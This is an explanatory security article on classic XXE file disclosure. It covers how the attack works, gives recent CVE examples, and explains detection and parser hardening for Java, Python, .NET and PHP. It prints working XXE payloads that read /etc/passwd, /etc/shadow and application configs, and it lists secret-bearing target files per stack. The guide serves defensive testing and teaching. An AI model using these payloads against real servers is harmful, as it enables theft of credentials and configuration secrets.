Classic XXE File Disclosure

What is Classic XXE File Disclosure?#

Classic XXE file disclosure is the in-band variant of XML External Entity injection: the attacker defines an external entity pointing to a file:// URI, embeds a reference to that entity in the XML body, and the server returns the file contents directly in the HTTP response. The entire attack — delivery and exfiltration — flows through the same HTTP channel, making it the simplest and most immediately impactful XXE technique.

The flaw (CWE-611) exists at the parser configuration layer, not in application logic. An XML parser with default settings — Java's DocumentBuilderFactory, or PHP's DOMDocument with LIBXML_NOENT — processes <!DOCTYPE> declarations and resolves SYSTEM entity URIs during the parse phase, before the application code ever sees the document content. Note: Python's xml.etree.ElementTree raises ExpatError on external entity declarations and does not resolve them (safe for XXE), but it remains vulnerable to Billion Laughs DoS — use defusedxml for full protection. The application then uses the parsed document tree, unaware that entity substitution replaced &xxe; with the contents of /etc/passwd.

Under OWASP A05:2021 (Security Misconfiguration), this vulnerability is classified as a configuration failure rather than a code-level injection flaw. The fix is a parser configuration change, not application logic refactoring. Yet classic XXE continues to appear in production systems because developers do not recognize XML parsers as a security-sensitive component requiring explicit hardening.

Mechanism#

The attack sequence:

1. The attacker identifies an XML-consuming endpoint and confirms XML acceptance with a benign baseline payload.
2. The attacker injects a <!DOCTYPE> declaration defining a SYSTEM entity: <!ENTITY xxe SYSTEM "file:///etc/passwd">.
3. The attacker places &xxe; in any element the application reads and reflects — a username field, a product query, a search term.
4. The XML parser resolves the entity by reading the specified file from the server filesystem.
5. The application reads the parsed element value (now containing the file contents) and includes it in the HTTP response.

POST /api/users/profile HTTP/1.1
Host: app.example.com
Content-Type: application/xml
 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE userInfo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<userInfo>
  <firstName>&xxe;</firstName>
  <lastName>Doe</lastName>
</userInfo>

HTTP/1.1 200 OK
Content-Type: application/json
 
{
  "firstName": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...",
  "lastName": "Doe"
}

The entire /etc/passwd file content replaces the firstName value in the parsed document, and the application reflects it in the response.

Attack Variants#

PHP Filter Wrapper Extension#

Standard file:// reads fail on binary files and may truncate multi-line content with characters outside the XML character range. The PHP filter wrapper encodes content as base64:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/shadow">
]>
<root><data>&xxe;</data></root>

The response contains a base64 string. Decode offline: echo "BASE64STRING" | base64 -d. This technique reads binary files, SSH keys, and files containing null bytes that would break standard SYSTEM entity reads.

Java classpath:// and jar:// Schemes#

Java XML parsers support additional URI schemes beyond file://:

<!-- Read file from application classpath -->
<!ENTITY xxe SYSTEM "classpath:application.properties">
 
<!-- Read file from inside a JAR archive -->
<!ENTITY xxe SYSTEM "jar:file:///path/to/application.war!/WEB-INF/web.xml">

The jar:// scheme can read any file inside the application's own WAR/JAR — useful for reading WEB-INF/web.xml, applicationContext.xml, or Spring application.properties when their filesystem paths are unknown.

Netdoc:// for Legacy Java#

<!-- Older Java parsers: netdoc:// as alternative to file:// -->
<!ENTITY xxe SYSTEM "netdoc:///etc/passwd">

Real-World Examples#

CVE-2024-34102 — Adobe Commerce CosmicSting (CVSS 9.8)

The definitive 2024 example of in-band XXE chaining to RCE. The attack reads app/etc/env.php, a PHP configuration file containing the Magento crypt/key. This key is used to sign admin JWTs. With the key extracted, the attacker forges an admin authentication token, accesses the admin REST API, and achieves code execution. More than 4,275 stores were compromised within 72 hours. The file read is the first step of the chain — not the final impact.

CVE-2024-30043 — Microsoft SharePoint Server (CVSS 6.5)

Authenticated SharePoint users could submit XML-based requests that triggered in-band file disclosure. The vulnerability exposed SharePoint server configuration files and internal path information. Patched in the June 2024 Patch Tuesday, it illustrates that even enterprise Microsoft products require explicit parser hardening.

CVE-2025-49493 — Akamai CloudTest SOAP Services (CVSS 9.1)

Multiple SOAP endpoints in Akamai's CloudTest platform returned file content in SOAP fault responses when XML entity payloads were submitted. The SOAP fault mechanism reflected the entity value as part of the error message, making this an in-band variant even though the file content appeared in an error response rather than a normal response body.

HackerOne #293795 — Uberflip REST API (High)

A REST API endpoint accepted XML bodies without entity restrictions. The researcher confirmed file disclosure by retrieving /etc/passwd content directly in the API response. Follow-up payloads read application configuration files. This report is representative of the most common discovery path: REST API accepting application/xml with no parser hardening.

Detection#

Manual Testing#

1. Confirm XML acceptance with a baseline request (non-XXE). Check for 415 vs any other status.

2. Test entity expansion with an internal canary:

   <?xml version="1.0"?>
   <!DOCTYPE foo [<!ENTITY test "XXECANARY-8675309">]>
   <root><field>&test;</field></root>

   Copy

   If XXECANARY-8675309 appears in the response body, entity expansion is active.

3. Escalate to a SYSTEM entity with a safe, non-sensitive file:

   <?xml version="1.0"?>
   <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///proc/version">]>
   <root><field>&xxe;</field></root>

   Copy

   Linux kernel version string appearing in the response confirms SYSTEM entity file read.

4. Identify a target file based on the application stack:

   • PHP: file:///var/www/html/wp-config.php, file:///var/www/html/.env
   • Java Spring: file:///app/application.properties, file:///app/application.yml
   • Python Django: file:///app/settings.py
   • .NET: file:///C:/inetpub/wwwroot/web.config

5. Attempt the PHP filter wrapper for files that may contain binary content:

   <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

   Copy

Automated Detection#

Burp Suite Pro active scanner submits internal entity canaries and checks for reflection. For in-band XXE, it verifies the canary appears in the response body across all XML-accepting endpoints in scope.

Nuclei templates in vulnerabilities/xxe/ include in-band detection templates that use unique markers and verify response reflection.

BreachVex detects classic file disclosure after first confirming entity expansion: it submits a SYSTEM entity referencing /etc/passwd and checks for known file-read markers (root:x:0:0, daemon:x:) in the response body. A high-confidence match is auto-reported.

Prevention#

Disable DOCTYPE at Parser Level (All Languages)#

// Java — one configuration block eliminates all in-band XXE
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setExpandEntityReferences(false);

# Python — replace stdlib xml with defusedxml (drop-in safe replacement)
# pip install defusedxml
from defusedxml import ElementTree as ET  # replaces import xml.etree.ElementTree as ET
tree = ET.parse(xml_file)  # file:// SYSTEM entities blocked automatically

// .NET — prohibit DTD and null the resolver
var settings = new XmlReaderSettings {
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null
};
using var reader = XmlReader.Create(stream, settings);

// PHP — never pass LIBXML_NOENT; use LIBXML_NONET at minimum
// PHP 8.0+ external entity loading is off by default for DOMDocument
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET);  // blocks http:// entities; also blocks file:// in PHP 8.0+

Input Validation Layer#

When DOCTYPE disabling is not possible (e.g., third-party library without parser configuration access), reject documents containing DOCTYPE:

import re
 
def reject_if_doctype(xml_input: str) -> None:
    """Reject XML containing DOCTYPE declarations — last-resort defense."""
    if re.search(r'<!DOCTYPE', xml_input, re.IGNORECASE):
        raise ValueError("DOCTYPE declarations are not permitted")

Resources#

• OWASP XXE Prevention Cheat Sheet
• PortSwigger XXE Labs — File Disclosure
• CVE-2024-34102 NVD Entry
• defusedxml Python library